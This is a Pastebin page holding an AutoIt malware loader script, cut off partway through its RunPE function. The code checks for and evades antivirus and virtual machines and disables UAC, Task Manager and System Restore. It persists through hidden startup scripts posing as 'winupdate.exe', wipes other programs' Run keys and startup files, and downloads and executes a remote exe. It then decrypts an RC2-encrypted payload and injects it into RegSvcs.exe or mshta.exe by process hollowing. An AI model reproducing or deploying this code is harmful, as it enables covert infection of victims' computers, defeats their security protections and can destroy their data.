API tools faq
paste
Advertisement
Guest User

5943564.IFW

a guest
Dec 4th, 2013
202
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 53.15 KB | None | 0 0
raw download clone embed print report
  1.  
  2.  
  3.  
  4.  
  5. #RequireAdmin
  6.  
  7. ;hwid=F65F986EE6D635C25CB12C59AD6B4A7587500B110x75736572
  8. #NoTrayIcon
  9. If ProcessExists("avastui.exe") Then Sleep(20000)
  10.  
  11. $path = "asvep"
  12.  
  13. $uniscriptdir = FileGetShortName(@ScriptDir)
  14. $uniscriptfullpath = FileGetShortName(@scriptfullpath)
  15. $unicode_userprofile = FileGetShortName(@UserProfileDir)
  16. $unicode_startup = FileGetShortName(@StartupDir)
  17. $unicode_temp = FileGetShortName(@TempDir)
  18. $unicode_windows = FileGetShortName(@WindowsDir)
  19. $unicode_system = FileGetShortName(@SystemDir)
  20.  
  21. FileSetAttrib($uniscriptdir, "+SHR")
  22.  
  23. $Dir = $uniscriptfullpath
  24. $STR = StringSplit($Dir, "\\", 1)
  25. $directory = False
  26.  
  27. For $i = 1 To $STR[0]
  28.     If $STR[$i] = $path And $Dir = $unicode_userprofile & "\\" & $path & "\\" & @ScriptName Then
  29.         $directory = True
  30.         ExitLoop
  31.     EndIf
  32. Next
  33.  
  34. If $STR[0] - 1 And $directory = False Then
  35. bsod()
  36. EndIf
  37.  
  38. ;options----------------------------------------------------------------------------------------------
  39.  
  40. ;delay
  41. Local $delay = IniRead($uniscriptdir & "\65901.PPZ", "delay1", "delay2", "NotFound")
  42. If $delay = "delay3" Then
  43.     delay()
  44. Else
  45. EndIf
  46. ;-----------------------------------------------------------------------------------------------------
  47. ;mutex
  48. Local $mutex = IniRead($uniscriptdir & "\65901.PPZ", "mutex1", "mutex2", "NotFound")
  49. If $mutex = "mutex3" Then
  50.     mutex()
  51. Else
  52. EndIf
  53. ;-----------------------------------------------------------------------------------------------------
  54. ;startup
  55. Local $startup = IniRead($uniscriptdir & "\65901.PPZ", "5378250", "6296134", "NotFound")
  56. If $startup = "4064234" Then
  57.     startup()
  58. Else
  59. EndIf
  60. ;-----------------------------------------------------------------------------------------------------
  61. ;antis
  62. Local $antis = IniRead($uniscriptdir & "\65901.PPZ", "antis1", "antis2", "NotFound")
  63. If $antis = "antis3" Then
  64.     antis()
  65. Else
  66. EndIf
  67. ;-----------------------------------------------------------------------------------------------------
  68. ;fake message
  69. Local $fake = IniRead($uniscriptdir & "\65901.PPZ", "fake1", "fake2", "NotFound")
  70. If $fake = "fake3" Then
  71.     fakemessage()
  72. Else
  73. EndIf
  74. ;-----------------------------------------------------------------------------------------------------
  75. ;botkiller
  76. Local $botkiller = IniRead($uniscriptdir & "\65901.PPZ", "botkiller1", "botkiller2", "NotFound")
  77. If $botkiller = "botkiller3" Then
  78.     botkiller()
  79. Else
  80. EndIf
  81. ;-----------------------------------------------------------------------------------------------------
  82. ;downloader
  83. Local $downloader = IniRead($uniscriptdir & "\65901.PPZ", "downloader1", "downloader2", "NotFound")
  84. If $downloader = "downloader3" Then
  85.     downloader()
  86. Else
  87. EndIf
  88. ;-----------------------------------------------------------------------------------------------------
  89. ;disable uac
  90. Local $uac = IniRead($uniscriptdir & "\65901.PPZ", "6404000", "6662859", "NotFound")
  91. If $uac = "9455413" Then
  92.     disable_uac()
  93. Else
  94. EndIf
  95. ;-----------------------------------------------------------------------------------------------------
  96. ;Disable System Restore
  97. Local $systemrestore = IniRead($uniscriptdir & "\65901.PPZ", "systemrestore1", "systemrestore2", "NotFound")
  98. If $systemrestore = "systemrestore3" Then
  99.     disable_syste_restore()
  100. Else
  101. EndIf
  102. ;-----------------------------------------------------------------------------------------------------
  103. ;antitask
  104. Local $antitask = IniRead($uniscriptdir & "\65901.PPZ", "antitask1", "antitask2", "NotFound")
  105. If $antitask = "antitask3" Then
  106.     antitask()
  107. Else
  108. EndIf
  109.  
  110. ;Functions--------------------------------------------------------------------------------------------------------------------------
  111. ;delay
  112. Func delay()
  113.     $counter = 0
  114.     While $counter <= 5
  115.         Sleep(5000)
  116.         ShellExecute(@SystemDir & "\mshta.exe")
  117.         $counter = $counter + 1
  118.         _RunDos("taskkill /IM mshta.exe")
  119.     WEnd
  120. EndFunc
  121. ;-----------------------------------------------------------------------------------------------------
  122. ;System Hide
  123. Func systemhide()
  124. RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1) ; don't show folder options
  125. Regwrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0) ; don't show hidden files
  126. EndFunc
  127. ;-----------------------------------------------------------------------------------------------------
  128. ;fake message
  129. Func fakemessage()
  130.  
  131. $type = IniRead($uniscriptdir & "\65901.PPZ", "messagetype1", "messagetype2","NotFound")
  132. $title = IniRead($uniscriptdir & "\65901.PPZ", "messagetitle1", "messagetitle2","NotFound")
  133. $message = IniRead($uniscriptdir & "\65901.PPZ", "messagetext1", "messagetext2","NotFound")
  134.  
  135. If FileExists($unicode_userprofile & "\\" & $path & "\check.txt") Then
  136. ;do nothing
  137. Else
  138. MsgBox($type,$title,$message)
  139. FileWrite($unicode_userprofile & "\\" & $path & "\check.txt", "")
  140. EndIf
  141. EndFunc
  142. ;-----------------------------------------------------------------------------------------------------
  143. ;mutex
  144. Func mutex()
  145. $scriptname = "winupdate.exe"
  146. If UBound(ProcessList($scriptname)) > 2 Then Exit
  147. EndFunc
  148. ;-----------------------------------------------------------------------------------------------------
  149. ;anti task manager
  150. func antitask()
  151. $read_antitask = RegRead("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr")
  152. if Not ($read_antitask = "1") Then
  153. RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
  154. EndIf
  155. EndFunc
  156. ;-----------------------------------------------------------------------------------------------------
  157. ;disable uac
  158. func disable_uac()
  159. $read_uac = RegRead("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" , "EnableLUA")
  160. if Not ($read_uac = "0") Then
  161. RegWrite("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" , "EnableLUA" , "REG_DWORD" , "0")
  162. EndIf
  163. EndFunc
  164. ;-----------------------------------------------------------------------------------------------------
  165. ;startup
  166. Func startup()
  167. $bUAC = _CheckElevationEnabled()
  168. If $bUAC = 0 Then
  169. ;do nothing
  170. Else
  171. FileCreateShortcut($unicode_userprofile & "\\" & $path & "\start.vbs", $unicode_startup & "\start.lnk")
  172. FileSetAttrib($unicode_startup & "\start.lnk","+SH")
  173. EndIf
  174.  
  175.     RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path, "REG_SZ", $unicode_userprofile & "\\" & $path & "\start.vbs")
  176.     If Not FileExists($unicode_userprofile & "\\" & $path & "\start.vbs") Then
  177.         Local $bat = FileOpen($unicode_userprofile & "\\" & $path & "\start.cmd", 1)
  178.         $autoit3 = "winupdate.exe"
  179.         FileWrite($bat, "@echo off" & @CRLF & "cd " & "%userprofile%\" & $path & "\\" & @CRLF & "start " & $autoit3 & " " & '"' & @ScriptName & '"')
  180.         FileClose($bat)
  181.         Local $vbs = FileOpen($unicode_userprofile & "\\" & $path & "\start.vbs", 1)
  182.         FileWrite($vbs, 'const Hidden = 0' & @CRLF & 'const WaitOnReturn = true' & @CRLF & 'File ="""' & $unicode_userprofile & "\\" & $path & "\\" & 'start.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & 'WshShell.Run file, Hidden, WaitOnReturn' & @CRLF & 'wscript.quit')
  183.         FileClose($vbs)
  184.         RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path, "REG_SZ", $unicode_userprofile & "\\" & $path & "\start.vbs")
  185.         FileSetAttrib($unicode_userprofile & "\\" & $path & "\start.vbs","+SHR")
  186.         FileSetAttrib($unicode_userprofile & "\\" & $path & "\start.cmd","+SHR")
  187.  
  188.         if FileExists($unicode_startup & "\start.lnk") Then
  189.         FileDelete($unicode_startup & "\start.lnk")
  190.         EndIf
  191.     Else
  192.     EndIf
  193.  
  194.  
  195.  
  196. EndFunc
  197.  
  198. ;Checks if Use Access Control (UAC) is Enabled.
  199. Func _CheckElevationEnabled()
  200.    Local $struct = DllStructCreate("BOOL")
  201.    Local $aRtn = DllCall("kernel32.dll","DWORD","CheckElevationEnabled","ptr", DllStructGetPtr($struct))
  202.    If @error Then
  203.      Return SetError(@error)
  204.    EndIf
  205.    Return SetError($aRtn[0],0,DllStructGetData($struct,1))
  206. EndFunc
  207. ;-----------------------------------------------------------------------------------------------------
  208.  
  209. ;Antis
  210. func antis()
  211. ;anti sandbox
  212. If WinGetText("Program Manager") = "0" Then
  213. Exit
  214. Else
  215. EndIf
  216.  
  217. ;anti vm's
  218. if ProcessExists("VboxService.exe") Then
  219. Exit
  220. EndIf
  221.  
  222. if ProcessExists("VMwaretray.exe") Then
  223. Exit
  224. EndIf
  225. EndFunc
  226.  
  227. ;-----------------------------------------------------------------------------------------------------
  228. ;Persistence
  229. func persistence()
  230. if processexists("RegSvcs.exe") then
  231. ;do nothing
  232. else
  233. $pathtovbs = ($uniscriptdir & "\\" & "7246235.vbe")
  234. ShellExecute($pathtovbs)
  235. exit
  236. endif
  237. endfunc
  238. ;------------------------------------------------------------------------------------------------------
  239. ;Downloader
  240. Func downloader()
  241. if FileExists($unicode_userprofile & "\\" & $path & "\dl.txt") Then
  242. ;do nothing
  243. Else
  244.  
  245. FileWrite($unicode_userprofile & "\\" & $path & "\dl.txt","")
  246.  
  247. ; Advanced example - downloading in the background
  248. $random_download_name = Random(10000, 99999, 1) & ".exe"
  249. Local $hDownload = InetGet("replace-me-url", $unicode_temp & "\\" & $random_download_name, 1, 1)
  250. Do
  251.     Sleep(250)
  252. Until InetGetInfo($hDownload, 2) ; Check if the download is complete.
  253. Local $nBytes = InetGetInfo($hDownload, 0)
  254. InetClose($hDownload) ; Close the handle to release resources.
  255. ShellExecute($unicode_temp & "\\" & $random_download_name)
  256. EndIf
  257. EndFunc
  258. ;-----------------------------------------------------------------------------------------------------
  259. ;BSOD
  260. Func bsod()
  261.     $a = ProcessList()
  262.     For $i = 1 To UBound($a) - 1
  263.         ProcessClose($a[$i][0])
  264.     Next
  265.     Exit
  266. EndFunc
  267.  
  268. ;-----------------------------------------------------------------------------------------------------
  269. ;botkiller
  270. Func botkiller()
  271.         ;delete
  272.         RegDelete("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  273.  
  274.         ;restore
  275.         RegWrite("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  276.         ;Else
  277.  
  278.         ;delete
  279.         RegDelete("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  280.  
  281.         ;restore
  282.         RegWrite("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  283.  
  284.         FileDelete(@StartupDir & "\*.*")
  285. EndFunc   ;==>botkiller
  286.  
  287. func disable_syste_restore()
  288. if FileExists($uniscriptdir & "\check.txt") Then
  289. ;do nothing
  290. Else
  291. RegDelete("HKLM64\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients")
  292. FileWrite($uniscriptdir & "\check.txt","")
  293. EndIf
  294. EndFunc
  295.  
  296. ;data from crypt.au3 & process.au3:--------------------------------------------------------------------------------------------------------------------------
  297.  
  298. Func _RunDos($sCommand)
  299.     Local $nResult = RunWait(@ComSpec & " /C " & $sCommand, "", @SW_HIDE)
  300.     Return SetError(@error, @extended, $nResult)
  301. EndFunc   ;==>_RunDos
  302.  
  303. Global Const $PROV_RSA_FULL = 0x1
  304. Global Const $PROV_RSA_AES = 24
  305. Global Const $CRYPT_VERIFYCONTEXT = 0xF0000000
  306. Global Const $HP_HASHSIZE = 0x0004
  307. Global Const $HP_HASHVAL = 0x0002
  308. Global Const $CRYPT_EXPORTABLE = 0x00000001
  309. Global Const $CRYPT_USERDATA = 1
  310.  
  311. Global Const $CALG_MD2 = 0x00008001
  312. Global Const $CALG_MD4 = 0x00008002
  313. Global Const $CALG_MD5 = 0x00008003
  314. Global Const $CALG_SHA1 = 0x00008004
  315. Global Const $CALG_3DES = 0x00006603
  316. Global Const $CALG_AES_128 = 0x0000660e
  317. Global Const $CALG_AES_192 = 0x0000660f
  318. Global Const $CALG_AES_256 = 0x00006610
  319. Global Const $CALG_DES = 0x00006601
  320. Global Const $CALG_RC2 = 0x00006602
  321. Global Const $CALG_RC4 = 0x00006801
  322. Global Const $CALG_USERKEY = 0
  323. Global $__g_aCryptInternalData[3]
  324.  
  325.  
  326.  
  327. Func _Crypt_EncryptData($vData, $vCryptKey, $iALG_ID, $fFinal = True)
  328.     Local $hBuff
  329.     Local $iError
  330.     Local $vReturn
  331.     Local $ReqBuffSize
  332.     Local $aRet
  333.     _Crypt_Startup()
  334.  
  335.     Do
  336.         If $iALG_ID <> $CALG_USERKEY Then
  337.             $vCryptKey = _Crypt_DeriveKey($vCryptKey, $iALG_ID)
  338.             If @error Then
  339.                 $iError = 1
  340.                 $vReturn = -1
  341.                 ExitLoop
  342.             EndIf
  343.         EndIf
  344.  
  345.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptEncrypt", "handle", $vCryptKey, "handle", 0, "bool", $fFinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vData), "dword", 0)
  346.         If @error Or Not $aRet[0] Then
  347.             $iError = 2
  348.             $vReturn = -1
  349.             ExitLoop
  350.         EndIf
  351.  
  352.         $ReqBuffSize = $aRet[6]
  353.         $hBuff = DllStructCreate("byte[" & $ReqBuffSize & "]")
  354.         DllStructSetData($hBuff, 1, $vData)
  355.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptEncrypt", "handle", $vCryptKey, "handle", 0, "bool", $fFinal, "dword", 0, "struct*", $hBuff, "dword*", BinaryLen($vData), "dword", DllStructGetSize($hBuff))
  356.         If @error Or Not $aRet[0] Then
  357.             $iError = 3
  358.             $vReturn = -1
  359.             ExitLoop
  360.         EndIf
  361.         $iError = 0
  362.         $vReturn = DllStructGetData($hBuff, 1)
  363.     Until True
  364.  
  365.     Return $vReturn
  366. EndFunc   ;==>_Crypt_EncryptData
  367.  
  368. Func _Crypt_DecryptData($vData, $vCryptKey, $iALG_ID, $fFinal = True)
  369.     Local $hBuff
  370.     Local $iError
  371.     Local $vReturn
  372.     Local $hTempStruct
  373.     Local $iPlainTextSize
  374.     Local $aRet
  375.     _Crypt_Startup()
  376.  
  377.     Do
  378.         If $iALG_ID <> $CALG_USERKEY Then
  379.             $vCryptKey = _Crypt_DeriveKey($vCryptKey, $iALG_ID)
  380.             If @error Then
  381.                 $iError = 1
  382.                 $vReturn = -1
  383.                 ExitLoop
  384.             EndIf
  385.         EndIf
  386.  
  387.         $hBuff = DllStructCreate("byte[" & BinaryLen($vData) + 1000 & "]")
  388.         DllStructSetData($hBuff, 1, $vData)
  389.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptDecrypt", "handle", $vCryptKey, "handle", 0, "bool", $fFinal, "dword", 0, "struct*", $hBuff, "dword*", BinaryLen($vData))
  390.         If @error Or Not $aRet[0] Then
  391.             $iError = 2
  392.             $vReturn = -1
  393.             ExitLoop
  394.         EndIf
  395.  
  396.         $iPlainTextSize = $aRet[6]
  397.         $hTempStruct = DllStructCreate("byte[" & $iPlainTextSize & "]", DllStructGetPtr($hBuff))
  398.         $iError = 0
  399.         $vReturn = DllStructGetData($hTempStruct, 1)
  400.     Until True
  401.  
  402.     Return $vReturn
  403. EndFunc   ;==>_Crypt_DecryptData
  404.  
  405.  
  406.  
  407. Func _Crypt_Startup()
  408.     If __Crypt_RefCount() = 0 Then
  409.         Local $hAdvapi32 = DllOpen("Advapi32.dll")
  410.         If @error Then Return SetError(1, 0, False)
  411.         __Crypt_DllHandleSet($hAdvapi32)
  412.         Local $aRet
  413.         Local $iProviderID = $PROV_RSA_AES
  414.         If @OSVersion = "WIN_2000" Then $iProviderID = $PROV_RSA_FULL ; Provide backwards compatibility with win2000
  415.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iProviderID, "dword", $CRYPT_VERIFYCONTEXT)
  416.         If @error Or Not $aRet[0] Then
  417.             DllClose(__Crypt_DllHandle())
  418.             Return SetError(2, 0, False)
  419.         Else
  420.             __Crypt_ContextSet($aRet[1])
  421.             ; Fall through to success.
  422.         EndIf
  423.     EndIf
  424.     __Crypt_RefCountInc()
  425.     Return True
  426. EndFunc   ;==>_Crypt_Startup
  427.  
  428.  
  429. Func _Crypt_DeriveKey($vPassword, $iALG_ID, $iHash_ALG_ID = $CALG_MD5)
  430.     Local $aRet
  431.     Local $hCryptHash
  432.     Local $hBuff
  433.     Local $iError
  434.     Local $vReturn
  435.  
  436.     _Crypt_Startup()
  437.     Do
  438.         ; Create Hash object
  439.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptCreateHash", "handle", __Crypt_Context(), "uint", $iHash_ALG_ID, "ptr", 0, "dword", 0, "handle*", 0)
  440.         If @error Or Not $aRet[0] Then
  441.             $iError = 1
  442.             $vReturn = -1
  443.             ExitLoop
  444.         EndIf
  445.  
  446.         $hCryptHash = $aRet[5]
  447.         $hBuff = DllStructCreate("byte[" & BinaryLen($vPassword) & "]")
  448.         DllStructSetData($hBuff, 1, $vPassword)
  449.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptHashData", "handle", $hCryptHash, "struct*", $hBuff, "dword", DllStructGetSize($hBuff), "dword", $CRYPT_USERDATA)
  450.         If @error Or Not $aRet[0] Then
  451.             $iError = 2
  452.             $vReturn = -1
  453.             ExitLoop
  454.         EndIf
  455.  
  456.         ; Create key
  457.         $aRet = DllCall(__Crypt_DllHandle(), "bool", "CryptDeriveKey", "handle", __Crypt_Context(), "uint", $iALG_ID, "handle", $hCryptHash, "dword", $CRYPT_EXPORTABLE, "handle*", 0)
  458.         If @error Or Not $aRet[0] Then
  459.             $iError = 3
  460.             $vReturn = -1
  461.             ExitLoop
  462.         EndIf
  463.         $iError = 0
  464.         $vReturn = $aRet[5]
  465.     Until True
  466.     If $hCryptHash <> 0 Then DllCall(__Crypt_DllHandle(), "bool", "CryptDestroyHash", "handle", $hCryptHash)
  467.  
  468.     Return SetError($iError, 0, $vReturn)
  469. EndFunc   ;==>_Crypt_DeriveKey
  470.  
  471. Func __Crypt_ContextSet($hCryptContext)
  472.     $__g_aCryptInternalData[2] = $hCryptContext
  473. EndFunc   ;==>__Crypt_ContextSet
  474. Func __Crypt_Context()
  475.     Return $__g_aCryptInternalData[2]
  476. EndFunc   ;==>__Crypt_Context
  477. Func __Crypt_DllHandleSet($hAdvapi32)
  478.     $__g_aCryptInternalData[1] = $hAdvapi32
  479. EndFunc   ;==>__Crypt_DllHandleSet
  480. Func __Crypt_DllHandle()
  481.     Return $__g_aCryptInternalData[1]
  482. EndFunc   ;==>__Crypt_DllHandle
  483. Func __Crypt_RefCountDec()
  484.     If $__g_aCryptInternalData[0] > 0 Then $__g_aCryptInternalData[0] -= 1
  485. EndFunc   ;==>__Crypt_RefCountDec
  486. Func __Crypt_RefCountInc()
  487.     $__g_aCryptInternalData[0] += 1
  488. EndFunc   ;==>__Crypt_RefCountInc
  489. Func __Crypt_RefCount()
  490.     Return $__g_aCryptInternalData[0]
  491. EndFunc   ;==>__Crypt_RefCount
  492.  
  493. ;end of data from crypt.au3
  494.  
  495. SubMain()
  496.  
  497. Func SubMain()
  498. $sKey = IniRead($uniscriptdir & "\65901.PPZ", "1109091", "1109091", "NotFound")
  499. $sAppPath1 = FileGetShortName(@ScriptDir & "\20070.RQT")
  500. $sAppPath = FileRead(FileOpen($sAppPath1,16))
  501. $sArquive = _Crypt_DecryptData($sAppPath, $sKey, $CALG_RC2)
  502.  _RunPE($sArquive)
  503.   EndFunc
  504.  
  505.  
  506. Func Info($GetFileData, $StringToGet) ; this is the func that get the settings of the Binded file to be decrypted
  507.     Return StringTrimLeft($GetFileData, StringInStr($GetFileData, $StringToGet) - 1 + StringLen($StringToGet))
  508. EndFunc
  509.  
  510. ;RUNPE
  511.  
  512.     Func _RunPE($bbinaryimage, $scommandline = "")
  513.     #region 1. DETERMINE INTERPRETER TYPE
  514.     Local $fautoitx64 = @AutoItX64
  515.     #region 2. PREDPROCESSING PASSED
  516.     Local $bbinary = Binary($bbinaryimage)
  517.     Local $tbinary = DllStructCreate("BYTE[" & BinaryLen($bbinary) & "]")
  518.     DllStructSetData($tbinary, 1, $bbinary)
  519.     Local $ppointer = DllStructGetPtr($tbinary)
  520.     #region 3. CREATING NEW PROCESS
  521.     Local $tstartupinfo = DllStructCreate("DWORD  CBSIZE;" & "PTR RESERVED;" & "PTR DESKTOP;" & "PTR TITLE;" & "DWORD X;" & "DWORD Y;" & "DWORD XSIZE;" & "DWORD YSIZE;" & "DWORD XCOUNTCHARS;" & "DWORD YCOUNTCHARS;" & "DWORD FILLATTRIBUTE;" & "DWORD FLAGS;" & "WORD SHOWWINDOW;" & "WORD RESERVED2;" & "PTR RESERVED2;" & "PTR HSTDINPUT;" & "PTR HSTDOUTPUT;" & "PTR HSTDERROR")
  522.     Local $tprocess_information = DllStructCreate("PTR PROCESS;" & "PTR THREAD;" & "DWORD PROCESSID;" & "DWORD THREADID")
  523.  
  524.     $Injecto2 = ($unicode_windows & "\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe")
  525.     $Injecto4 = ($unicode_windows & "\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe")
  526.     $Inject_other = ($unicode_system & "\mshta.exe")
  527.  
  528.         If FileExists($Injecto4) Then
  529.             Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $Injecto4, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information))
  530.  
  531.         Elseif FileExists($Injecto2) then
  532.             Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $Injecto2, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information))
  533.  
  534.         Else
  535.             Local $acall = DllCall("KERNEL32.DLL", "BOOL", "CreateProcessW", "WSTR", $Inject_other, "WSTR", $scommandline, "PTR", 0, "PTR", 0, "INT", 0, "DWORD", 4, "PTR", 0, "PTR", 0, "PTR", DllStructGetPtr($tstartupinfo), "PTR", DllStructGetPtr($tprocess_information))
  536.         EndIf
  537.  
  538.     If @error Or Not $acall[0] Then Return SetError(1, 0, 0)
  539.     Local $hprocess = DllStructGetData($tprocess_information, "PROCESS")
  540.     Local $hthread = DllStructGetData($tprocess_information, "THREAD")
  541.     If $fautoitx64 And __runpe_iswow64process($hprocess) Then
  542.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  543.         Return SetError(2, 0, 0)
  544.     EndIf
  545.     #region 4. FILL CONTEXT STRUCTURE
  546.     Local $irunflag, $tcontext
  547.     If $fautoitx64 Then
  548.         If @OSArch = "X64" Then
  549.             $irunflag = 2
  550.             $tcontext = DllStructCreate("ALIGN 16; UINT64 P1HOME; UINT64 P2HOME; UINT64 P3HOME; UINT64 P4HOME; UINT64 P5HOME; UINT64 P6HOME;" & "DWORD CONTEXTFLAGS; DWORD MXCSR;" & "WORD SEGCS; WORD SEGDS; WORD SEGES; WORD SEGFS; WORD SEGGS; WORD SEGSS; DWORD EFLAGS;" & "UINT64 DR0; UINT64 DR1; UINT64 DR2; UINT64 DR3; UINT64 DR6; UINT64 DR7;" & "UINT64 RAX; UINT64 RCX; UINT64 RDX; UINT64 RBX; UINT64 RSP; UINT64 RBP; UINT64 RSI; UINT64 RDI; UINT64 R8; UINT64 R9; UINT64 R10; UINT64 R11; UINT64 R12; UINT64 R13; UINT64 R14; UINT64 R15;" & "UINT64 RIP;" & "UINT64 HEADER[4]; UINT64 LEGACY[16]; UINT64 XMM0[2]; UINT64 XMM1[2]; UINT64 XMM2[2]; UINT64 XMM3[2]; UINT64 XMM4[2]; UINT64 XMM5[2]; UINT64 XMM6[2]; UINT64 XMM7[2]; UINT64 XMM8[2]; UINT64 XMM9[2]; UINT64 XMM10[2]; UINT64 XMM11[2]; UINT64 XMM12[2]; UINT64 XMM13[2]; UINT64 XMM14[2]; UINT64 XMM15[2];" & "UINT64 VECTORREGISTER[52]; UINT64 VECTORCONTROL;" & "UINT64 DEBUGCONTROL; UINT64 LASTBRANCHTORIP; UINT64 LASTBRANCHFROMRIP; UINT64 LASTEXCEPTIONTORIP; UINT64 LASTEXCEPTIONFROMRIP")
  551.         Else
  552.             $irunflag = 3
  553.             DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  554.             Return SetError(102, 0, 0)
  555.         EndIf
  556.     Else
  557.         $irunflag = 1
  558.         $tcontext = DllStructCreate("DWORD CONTEXTFLAGS;" & "DWORD DR0; DWORD DR1; DWORD DR2; DWORD DR3; DWORD DR6; DWORD DR7;" & "DWORD CONTROLWORD; DWORD STATUSWORD; DWORD TAGWORD; DWORD ERROROFFSET; DWORD ERRORSELECTOR; DWORD DATAOFFSET; DWORD DATASELECTOR; BYTE REGISTERAREA[80]; DWORD CR0NPXSTATE;" & "DWORD SEGGS; DWORD SEGFS; DWORD SEGES; DWORD SEGDS;" & "DWORD EDI; DWORD ESI; DWORD EBX; DWORD EDX; DWORD ECX; DWORD EAX;" & "DWORD EBP; DWORD EIP; DWORD SEGCS; DWORD EFLAGS; DWORD ESP; DWORD SEGSS;" & "BYTE EXTENDEDREGISTERS[512]")
  559.     EndIf
  560.     Local $context_full
  561.     Switch $irunflag
  562.         ;
  563.         Case 1
  564.             ;
  565.             $context_full = 65543
  566.         Case 2
  567.             $context_full = 1048583
  568.             ;
  569.         Case 3
  570.             ;
  571.             $context_full = 524327
  572.             ;
  573.     EndSwitch
  574.     DllStructSetData($tcontext, "CONTEXTFLAGS", $context_full)
  575.     $acall = DllCall("KERNEL32.DLL", "BOOL", "GetThreadContext", "HANDLE", $hthread, "PTR", DllStructGetPtr($tcontext))
  576.     If @error Or Not $acall[0] Then
  577.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  578.         Return SetError(3, 0, 0)
  579.     EndIf
  580.     Local $ppeb
  581.     Switch $irunflag
  582.         Case 1
  583.             $ppeb = DllStructGetData($tcontext, "EBX")
  584.         Case 2
  585.             $ppeb = DllStructGetData($tcontext, "RDX")
  586.         Case 3
  587.     EndSwitch
  588.     #region 5. READ PE-FORMAT
  589.     Local $timage_dos_header = DllStructCreate("CHAR MAGIC[2];" & "WORD BYTESONLASTPAGE;" & "WORD PAGES;" & "WORD RELOCATIONS;" & "WORD SIZEOFHEADER;" & "WORD MINIMUMEXTRA;" & "WORD MAXIMUMEXTRA;" & "WORD SS;" & "WORD SP;" & "WORD CHECKSUM;" & "WORD IP;" & "WORD CS;" & "WORD RELOCATION;" & "WORD OVERLAY;" & "CHAR RESERVED[8];" & "WORD OEMIDENTIFIER;" & "WORD OEMINFORMATION;" & "CHAR RESERVED2[20];" & "DWORD ADDRESSOFNEWEXEHEADER", $ppointer)
  590.     Local $pheaders_new = $ppointer
  591.     $ppointer += DllStructGetData($timage_dos_header, "ADDRESSOFNEWEXEHEADER")
  592.     Local $smagic = DllStructGetData($timage_dos_header, "MAGIC")
  593.     If Not ($smagic == "MZ") Then
  594.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  595.         Return SetError(4, 0, 0)
  596.     EndIf
  597.     Local $timage_nt_signature = DllStructCreate("DWORD SIGNATURE", $ppointer)
  598.     $ppointer += 4
  599.     If DllStructGetData($timage_nt_signature, "SIGNATURE") <> 17744 Then
  600.         DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  601.         Return SetError(5, 0, 0)
  602.     EndIf
  603.     Local $timage_file_header = DllStructCreate("WORD MACHINE;" & "WORD NUMBEROFSECTIONS;" & "DWORD TIMEDATESTAMP;" & "DWORD POINTERTOSYMBOLTABLE;" & "DWORD NUMBEROFSYMBOLS;" & "WORD SIZEOFOPTIONALHEADER;" & "WORD CHARACTERISTICS", $ppointer)
  604.     Local $inumberofsections = DllStructGetData($timage_file_header, "NUMBEROFSECTIONS")
  605.     $ppointer += 20
  606.     Local $tmagic = DllStructCreate("WORD MAGIC;", $ppointer)
  607.     Local $imagic = DllStructGetData($tmagic, 1)
  608.     Local $timage_optional_header
  609.     If $imagic = 267 Then
  610.         If $fautoitx64 Then
  611.             DllCall("KERNEL32.DLL", "BOOL", "TerminateProcess", "HANDLE", $hprocess, "DWORD", 0)
  612.             Return SetError(6, 0, 0)
  613.         EndIf
